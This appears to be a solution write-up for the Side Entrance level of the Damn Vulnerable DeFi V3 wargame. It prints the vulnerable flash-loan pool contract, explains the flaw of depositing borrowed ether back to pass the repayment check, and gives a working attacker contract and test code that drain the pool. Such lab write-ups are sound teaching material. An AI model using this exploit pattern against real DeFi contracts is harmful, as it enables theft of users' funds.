Published on

Damn Vulnerable DeFi V3 - Side Entrance - Solution

Authors

Damn Vulnerable DeFi V3 - Side Entrance - Solution

Contract

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

import "solady/src/utils/SafeTransferLib.sol";

interface IFlashLoanEtherReceiver {
    function execute() external payable;
}

/**
 * @title SideEntranceLenderPool
 * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
 */
contract SideEntranceLenderPool {
    mapping(address => uint256) private balances;

    error RepayFailed();

    event Deposit(address indexed who, uint256 amount);
    event Withdraw(address indexed who, uint256 amount);

    function deposit() external payable {
        unchecked {
            balances[msg.sender] += msg.value;
        }
        emit Deposit(msg.sender, msg.value);
    }

    function withdraw() external {
        uint256 amount = balances[msg.sender];
        
        delete balances[msg.sender];
        emit Withdraw(msg.sender, amount);

        SafeTransferLib.safeTransferETH(msg.sender, amount);
    }

    function flashLoan(uint256 amount) external {
        uint256 balanceBefore = address(this).balance;

        IFlashLoanEtherReceiver(msg.sender).execute{value: amount}();

        if (address(this).balance < balanceBefore)
            revert RepayFailed();
    }
}

Solution

To solve this level, we can simply:

  1. Request a flash loan.
  2. Deposit the borrowed assets back into the pool to increase our balance in the balances mapping.
  3. Withdraw all funds we "deposited" earlier.

SideEntranceAttacker.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;


interface IPool {
    function flashLoan(uint256 amount) external;
    function deposit() external payable;
    function withdraw() external;
}


contract SideEntranceAttacker {

    IPool immutable pool;
    address immutable player;

    constructor(address _pool, address _player){
        pool = IPool(_pool);
        player = _player;
    }

    receive() external payable {}

    function attack() external {
        pool.flashLoan(address(pool).balance);
        pool.withdraw();
        (bool success, ) = player.call{value: address(this).balance}("");
    }

    function execute() external payable {
        pool.deposit{value: msg.value}();
    }
}

side-entrance.challenge.js

...
it('Execution', async function () {
    /** CODE YOUR SOLUTION HERE */
    let attacker = await (await ethers.getContractFactory('SideEntranceAttacker', player)).deploy(
        pool.address, player.address
    );
    await attacker.attack();
});
...